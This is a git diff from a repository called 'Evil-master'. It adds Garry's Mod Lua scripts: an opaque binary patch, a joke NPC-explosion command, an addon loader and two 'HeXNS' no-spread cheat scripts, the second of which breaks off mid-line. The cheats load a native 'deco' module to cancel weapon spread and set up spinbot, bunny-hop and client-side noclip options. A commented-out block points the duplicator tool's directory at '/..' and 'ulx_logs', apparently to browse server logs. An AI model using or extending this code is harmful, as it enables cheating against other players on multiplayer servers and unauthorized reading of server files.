zM=2^XbU>&$A6oXAs)=V@!uyagTdWZAO5v3FJaRI^$84m<)Wi1&Od+f7GE!1JkweEo`hM(TxS|at7|-VgZ%w@_{Z3-+R80{x3ey738H;R(*#~ z6ArQ0$gz-OPAN$j~qKghF4#W~2TxIld%E_amr1^qq4>a7Ie_h9`t z9j2MXM|qojRyLbpHX$Z(XA+HJS3l8Vk(+PXC^>Ou4C>uvfUBVtKs(oJ!wtNDvg`Vf0>cjHWAt-tLXIsp$R^alAgIp&J#LpAg9Xk1vCFm2 zvm~ek5cBesirN%6FPw8oR=HZIC=q+|=#*PX8`BcM7U`%v#YmaV`Q|E1kwwjdBW2FMg(4BCD9{!(R+6 zdR&PUWG|`*qwpLmp90*cGSxVha9;RbSpj)^p8~4kb=!%SpAY>B0t=8w$=bF^7UF9T z?M1TF1&oWrIS8j(gxy^fFI2V`gc3d8+wKY7$>EGkuGCFOSSF69 z<@+9jA+e-Ns!*Zj!un-Qg|BMCj0IcgKsdH% z#2B2NaXMV0tDyhmpbyNruuTZ2;?}E-E{4nBf(iQjpgBM=AwWQ&5xx)lzUxp1-4K?C zkPY*H2QB(N%r+2n@^p4Fv@uZqzm`rygqca?$zGi`2f`Z{;^;UiY61Ua&@C((dv`b{ z7tCIZE;;JI8JnFou6I9-e=GZ4OUXNNKXA&*pX=zid53hx$4nK&QdDIj2!8l!E26L0sD^QWcaq zRgU0|xRK1M@U>LY^4VD-el+XvBjL*ImMY`+r2qp_AvJGzEFK}}$UK|B&Y41jtakPC z%T+k~r>J=b)Xm`8Mflucm4v+Nht;C?L!W@}T_=$hh<2U2KS5Jh^WM^$7PcqOx~g5t z^#KF(f@Q}f);^cRe$PofH6^&$c?5%98bL$H)J`fYY;9ws#3eHba@1LAD$ir*KGj#19IGfIsa6vX&3$sff-sA>Yc+b)d+T) z#r24gJp@!ayjV>wAh z`1bE5kR-T{1Waz;bj=F*N&&3DctBBNU8FV&+Y<%-@wsNd@}J;$yTqk^BwRM0CgKU# zp{Y%B_??A>_Z?egAlrr`sp4LQO}|riDf2u(}t%Vo* zSu8xjGu%JNgJifQzN#dcA89+V@X@$R7cGy5@j%z~mnx~LT;{O7_F;k|cPr+_lq~>r zdv(g9B|C2FN&JnVaOUE?LKco832ReXV{8mpeH9WAe?q}68fV#c)yGsqsbDpD1np#& zAAy9R)EtB;3M!oy(~6tIJ{k=zZ*^AOW0%5&FCPv;owj9u=?Ovcsu)B;4}a4B}xBAgQWk^U}fKTsM`~SWq z_D+U&=Klu{{(od3j}T2fnWfQMW&l0lVg(VR7^0>OtdU%IcU%11Vl|_q{s0flOfiR! zIGT{yopSBIC{0ptNMt68Qpkwbc@v(x&HagUkAGY8PIgQ@$T??O{MPD0Ko9Pq-qo4o z=p6O=wTp16o!>l5L=tNA_R1-~p3hIl#P0lJ;Gr3MN+3HYcI%doA++IP1PKR&6d`wV z{b$#;w=MwTXXwdD&8;t(SQPLIAVkcyUxuxW80=pKKAAKludmt+cf3c>9RP#3Dd1;D5Q_nE zZ>qO(aw5}yrFA z(qWTAh*)xNypVg1IsZ@4IrvPIj#Va|4Fellp{U(&&uq?}%nPZ;T&J_lZhs0TwFUKw zVDF8b6BaqS(;%U+ySO(Y;IG+rqwl%BuI>I)vz$8~lP6*WV+9pxm5v+Yo}?-?Ior** zG>QFm5_uvidmZ~HQA!}Hqf&Jp&j=V{v8QUwSX=*`MsCu<4>k54eA7=mk1H zIr)_273vyi6E}X4>g0V%uskZIgGlX9t>n#oWOr&cgqOxp*sJ_{r znhs7hwN&ZR3r;Qi3kqd(gltPK++Og67bfqZXz`}{$@A}Tez)$Lkb$%lra;si;TN`* z_w+jr&}37Q<4G?LnL&#%Xr;v4plo_aoZg4)CTPu zbLaFF<1QuTwt_UO2OQ(SV;y4+n=^$h!ZNbI)XH33^NIqK^&yrM-yWIF01Wx_L6zI% zls}G)TnOWs9~=FNw-5?MM_OiT+GPdX``1u#)VPi07>Yxc*cw3@6W`9Rnd$>Ho2hTh zZ#G@pZBrq|t~9X^KRkU30uTzPm7tU(Stb9@{}lQ^%P%DG0D&WU2ttzbrg4lA-Afn| z(bG4HSKBm~`eDlfr3*mx=soLu?X(LGl9hLWFqWKSnTYyk21M6A!i|76EUG zV7F8Th~B}eOQN2;u_S*A&+2^F2nn7(w|fdhYhn=ZW!8C{En*49Xx z#N)%*QR0MM`0zr{zI2*KaOBa@TAH4k&##sV-Tcq5ZTs5py^kuF=61mQ!UzknthiOs zEAGl{bzus|_LC=TXx^;x7$19i;y_&^bW1{TJAQD@gfStyBA}S3No$jSL8$+4z1oy7 z#dDK*)_OC=J1nf4^>}N3C8A|hn_9K4l+M5@wi74$yq$kIMIkup)KF7eYbfk|rK zzo^t!0SA~Z{J)ee-q{2eeV9_#5Qbm~(^W{YJ01LVW`^r87=|(6@vn*Mt|&~^$!lYr zo1gak%lL&6PACPwu2Ie!_nZiUT1li#k0w(!vH}yO&yfuC>ygUdn;`52a5*qEY6?j1 z7&c;GYY0B~CK|dzuDFAfGhR*-V+B^Of`r2^%3&%rMhUiQU@rC&Te}k@NZMxLZ@ZpN zL}%Bl&UDeyDfS$xWM#93Sh|88YkL<1Ti^dLQkyn4M;$C?mC_@#n{J#-1N{9H- z8;7Iq`W{u}pT5GmN(0%^)A4Y1aL}C>5r5?!mzA}@H^vYBM!Z3$hVn=S4kV+K%{lXI zm4K0@l{J=MXrL8Le+-`MA(-ONqyk;#4^Xv<>Hpd^q(L*&+Cgjpxo?&UI~pcNQOdF{ zms?eNcOi594@L@FFP&?P<(jOz@uc%i7(~X=g{AE?8mo8TCIi^P`AhXZm3WTm%)hND z<((Zrk4dgkTmszO-BIBR)uhd1H1+%fvh19d{h81O=tHleL2d9??vK!E_t*x!$SL=* z!)s7FBs@Y6sKp*emJti_1h%sAk0W#jK1LS}4E3^Ek{{2t?z;jqUYoV8zC`@~9*yo+ zzHF;iT^(V|1}Fg$FO5x=<7+99gpM*Z5)~|cSSBSP+q~Id@DT|t@VAiy+Mo2yuY|9L zmE^Irk4HOP3M|ARPHGGoUDCtm`feK23$@I-4fC0zjHL?K(5&7wyrmI;apajy@P^Y~ zB-&Eety4Lh5R7GIKo$63KB~r4%knQYjPj+gLubc|_431CfWUSu&s^B9s#4UhVgn}Z zef>{d-L``NN&kwL;+sqYresT+*&Frw+H#vv%R<>=8_F6qYg!PVM1ICkF}XOh8s zn8$U>Nv)Q!$Cy=ngDySfyh5^9p^2V$7O@GOd`0QF(3Qn{0J>LSQvAGu<$6gS>UyB+ zXq?rUC|&!`o%Yu8O*ceGI(SPIu4%KRjviJak$V3$5+KRSasJXv4Yn+JnU+$}h`9L* z8rD1rm{Yf`p{8=ror*E zOJhzd5nLvC*uax8R4j1y5?9d;xiKMpoifG5kCsw!=K5g%==rgUMv6E_`_~UVQS(To z{qmqP30*E>oyFscZ6&z|HMnJz>Nw#;91==P`fyc;3s#7p`!hL~*v-LFf(T~OsXD2X z1N@B^VB#Jn?97JDbnRG3BSdC|PtnIa1O8ihnuejPn0{F7K1SB+(+N^W8=UR&kMhXt z=Mr$uU6F<4()!*TNXhzCoXntMVmQ&ALYOUm_a=NO77sJ9_@=Pn8j|Lit_USl!V2LY zZ6)p3q!mOvvu@<&extMj0Nvhx9aajbC&XTgksR-VC((mVXU%UECTwIu4F;C2Slyyo zf>OJzHuV)Zv`I%4Ralr{$tIQtj@T*QooSJtD>5EfRfh$zRBX0{CN*KdGCq%fY$1A+7gk=Kw7JU#b1{ zy*>2yXlO9zza+@m~0|C8}HYjcM1J;?G;u(ACXmSYS`V)p-g)65*7Q6=Oui!q$%$!BY*_?)F0zlT=HMz|Ovk)Ag z0Tq2Leq-2zI#FG$}<1cOYMVsB<-tNXVk`<6H5!4J!_x^!PVpj=pD1A<81T zNh;OEv znO=nhn#tDvtf~$U{IxVLOtfC64eQY=ArfP-1Z3RPUozy17K+ z#8ju<3S?3mA`p9b6|1_YoNCHX)=aZyK!h&|i8G zG56HEnhlf|+d(2R_kl{!n83Sd(b|&d+#k~je0RFx4#97vat;sVu@!y=B^V^sX#dbW z-{}fClE52?1`ikkEvC5fTVfSHP$0tF+Awyd<$C%87e9uhE$d#*(##iih`s;)8W8XX J5rzi&e*j)J%3=Tj literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua new file mode 100644 index 0000000..779dbdd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua @@ -0,0 +1,29 @@ + + + +function DevGAN(p,c,a) + timer.Simple(a[1] or 0, function() + GAMEMODE:AddNotify("Test Lol", 1, 8) + surface.PlaySound("npc/roller/mine/rmine_predetonate.wav") + end) +end +concommand.Add("gan_dev", DevGAN) + + + +--[[ +local function dupe(p,c,a) + AdvDupeClient.LoadListDirs["/.."] = dupeshare.BaseDir + + AdvDupeClient.LoadListDirs["/.."] = "ulx_logs" + AdvDupeClient.LoadListFiles = {} + print(dupeshare.ParsePath("ULib")) + + AdvDuplicator_UpdateControlPanel() +end +concommand.Add("dupe_1", dupe) +]] + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua new file mode 100644 index 0000000..dd31611 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua @@ -0,0 +1,145 @@ + + +local amt = CreateConVar("amt_h ", 45, false, false) +local speed = CreateConVar("speed_h", 100, false, false) + +concommand.Add("fuck", function(p,c,a) + local ent = ents.FindByClass("npc_*")[1] + + HACDoHax(ent) +end) + + + + +function HACBigBoom(ply,pwr,fancey) + if not (ply:IsValid()) then return end + local boom00 = ents.Create("env_explosion") + if not fancey then + boom00.HSPNiceBoomDone = true --No HSP fancey explosion + end + boom00:SetOwner(ply) + boom00:SetPos(ply:GetPos()) + boom00:Spawn() + boom00:SetKeyValue("iMagnitude", tostring(pwr)) + boom00:Fire("Explode", 0, 0) +end + +function HACJustEffectNoBoom(ply) + local effectdata = EffectData() + effectdata:SetOrigin( ply:GetPos() ) + util.Effect("hac_dude_explode", effectdata, true, true) +end + +function HACEffectBoom(ply) + if not (ply:IsValid()) then return end + + for i=1,5 do --5 explosions + HACBigBoom(ply,150,true) + end + + HACJustEffectNoBoom(ply) +end + +function HACExplode(ply,fancey) + HACBigBoom(ply,4,fancey) + + timer.Simple(0.3, function() + HACBigBoom(ply,4,fancey) + end) + timer.Simple(0.5, function() + HACBigBoom(ply,4,fancey) + end) + timer.Simple(0.8, function() + HACBigBoom(ply,4,fancey) + end) +end +HACHaxMonitors = { + "models/props_lab/monitor01a.mdl", + "models/props_lab/monitor02.mdl", +} + +function HACDoHax(ply) + + ply:EmitSound("vo/npc/male01/no01.wav") + + + timer.Simple(2, function() + if (ply:IsValid()) then + ply:EmitSound("vo/npc/male01/hacks01.wav") + end + end) + + timer.Simple(3.4, function() + if (ply:IsValid()) then + ply:EmitSound("vo/npc/male01/no02.wav") + end + end) + + timer.Simple(5.37, function() + if not (ply:IsValid()) then return end + + + + ply:Ignite(20,100) + + + local Rocket = ents.Create("hac_rocket") + Rocket:SetPos(ply:GetPos()) + Rocket:SetOwner(ply) + Rocket.Owner = ply + Rocket:SetParent(ply) + Rocket:Spawn() + + HACBigBoom(ply,4,true) + HACExplode(ply) + HACExplode(ply) + + ply:SetVelocity( Vector(0,0,1290) ) + + timer.Simple(1.8, function() + if not (ply:IsValid()) then return end + + HACEffectBoom(ply) + ply:EmitSound("siege/big_explosion.wav") + + for i=1,amt:GetInt() do + local vec = Vector(math.random()*2-1, math.random()*2-1, math.random()*2-1):GetNormal() + + local Monitor = ents.Create("hac_monitor") + Monitor:SetModel( table.Random(HACHaxMonitors) ) + Monitor:SetPos(ply:GetPos() + vec * 15 + Vector(0,0,36)) + Monitor:SetAngles(vec:Angle()) + + Monitor:SetPhysicsAttacker(ply) + Monitor:SetOwner(ply) + Monitor.Owner = ply + + Monitor:PhysicsInit(SOLID_VPHYSICS) + Monitor:SetMoveType(MOVETYPE_VPHYSICS) + Monitor:SetSolid(SOLID_VPHYSICS) + Monitor:Spawn() + util.SpriteTrail(Monitor, 0, color_white, false, 32, 0, 2.5, 1/(15+1)*0.5, "trails/physbeam.vmt") + --Monitor:SetVelocity(vec * 150) + Monitor:Ignite(40,150) + + local phys = Monitor:GetPhysicsObject() + if phys:IsValid() then + phys:SetVelocity(vec * speed:GetInt()) + end + end + + + timer.Simple(0.5, function() + if Rocket:IsValid() then + Rocket:Remove() + end + end) + end) + end) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua new file mode 100644 index 0000000..7c54072 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua @@ -0,0 +1,61 @@ + +local Addons = {} + +local function GetAddons() + if (#Addons != 0) then return Addons end + + for k,v in pairs( file.Find("addons/*", true) ) do + table.insert(Addons, v) + end + return Addons +end + +local function VFSPath(path) + path = "lua/"..path + if file.Exists(path,true) then return path end + + for k,v in pairs( GetAddons() ) do + local APath = "addons/"..v.."/"..path + if file.Exists(APath,true) then + return APath + end + end + + return false +end +local function FindWithAddons(str) + local tab = file.FindInLua(str) + + for k,v in pairs( GetAddons() ) do + table.Add(tab, file.Find("addons/"..v.."/lua/"..str, true) ) + end + + return tab +end + + +local CMIFiles = {} +for k,v in pairs( FindWithAddons("menu_plugins/*.lua") ) do + local path = VFSPath(v) + if path then + table.insert(CMIFiles, path) + end +end + + +local function Load(path) + +end + + +for k,v in pairs(CMIFiles) do + if HAC.StringCheck(v, "ml_B_") then + COLCON(CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v) + Load("custom_menu/"..v) + + elseif HAC.StringCheck(v, "sh_") then + Load("HAC/"..v) + AddCSLuaFile("HAC/"..v) + end +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua new file mode 100644 index 0000000..8a04adf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua @@ -0,0 +1 @@ + local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local AimSmooth = CreateClientConVar( "hex_nospread_smooth", 0, true, false ) local clientsidenoclip = false local iZoom = 0 local iZoomAdd = 0 local MoveSpeed = 1 local ucorrected = Angle(0,0,0) local ghostpos = nil local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 local function HeXSetupMove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if LocalPlayer():KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif LocalPlayer():KeyDown(IN_WALK) then scale = cone elseif (LocalPlayer():KeyDown(IN_SPEED) or LocalPlayer():KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (LocalPlayer():KeyDown(IN_FORWARD) or LocalPlayer():KeyDown(IN_BACK) or LocalPlayer():KeyDown(IN_MOVELEFT) or LocalPlayer():KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if LocalPlayer():Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if LocalPlayer():GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if LocalPlayer():GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if LocalPlayer():IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if LocalPlayer():KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } local function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end if not HeXGlobalNSLoaded then HeXGlobalNSLoaded = true require("deco") package.loaded.deco = nil HeXGlobal_hl2_shotmanip = hl2_shotmanip HeXGlobal_hl2_ucmd_getprediciton = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil end local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone local function HeXSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = HeXGlobal_hl2_ucmd_getprediciton(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return HeXGlobal_hl2_shotmanip(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function HeXCMove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = HeXSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end --if !clientsidenoclip:GetBool() || ghostpos == nil then if !clientsidenoclip || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if HeXNoSpread:GetBool() then local ang = HeXSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end local function HeXCalcView( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) then return end if clientsidenoclip && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end --hook.Add("SetupMove", "HeXSetupMove", HeXSetupMove) hook.Add("Initialize", "CheckCheck", CheckCheck) hook.Add("CreateMove", "HeXCMove", HeXCMove) hook.Add("CalcView", "HeXCalcView", HeXCalcView) concommand.Add("hex_nospread_kill", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") end) concommand.Add("hex_nospread_reload", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") timer.Simple(1,function() include("HeX/client/HeXNS.lua") end) end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua new file mode 100644 index 0000000..7848c17 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua @@ -0,0 +1 @@ + local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local alwaysnospread = CreateClientConVar( "bacon_always_nospread", 1, true, false ) local AimSmooth = CreateClientConVar( "AimSmooth", 0, true, false ) local clientsidenoclip = CreateClientConVar( "clientsidenoclip", 0, true, false ) local bhop = CreateClientConVar( "bhop", 0, true, false ) local spinbot = CreateClientConVar( "spinbot", 0, true, false ) local gamemodeview = CreateClientConVar( "gamemodeview", 0, true, false ) local recording_mode = false local iZoom = 0 local iZoomAdd = 0 local CL = LocalPlayer() local MoveSpeed = 1 local clear = 0xFFFF - IN_JUMP local ucorrected = Angle(0,0,0) local ghostpos = nil NoSpreadHere = true local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 function mysetupmove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end hook.Add("SetupMove", "HEX1", mysetupmove) local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if CL:KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif CL:KeyDown(IN_WALK) then scale = cone elseif (CL:KeyDown(IN_SPEED) or CL:KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (CL:KeyDown(IN_FORWARD) or CL:KeyDown(IN_BACK) or CL:KeyDown(IN_MOVELEFT) or CL:KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if CL:Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif CL:Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if CL:GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif CL:Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if CL:GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if CL:IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if CL:KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end hook.Add("Initialize", "HEX2", CheckCheck) local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end require("deco") package.loaded.deco = nil local nospread = hl2_shotmanip local prediction = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone function PredictSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = prediction(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return nospread(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function bcmove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = PredictSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end if !clientsidenoclip:GetBool() || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if NoSpreadHere and alwaysnospread:GetBool() then local 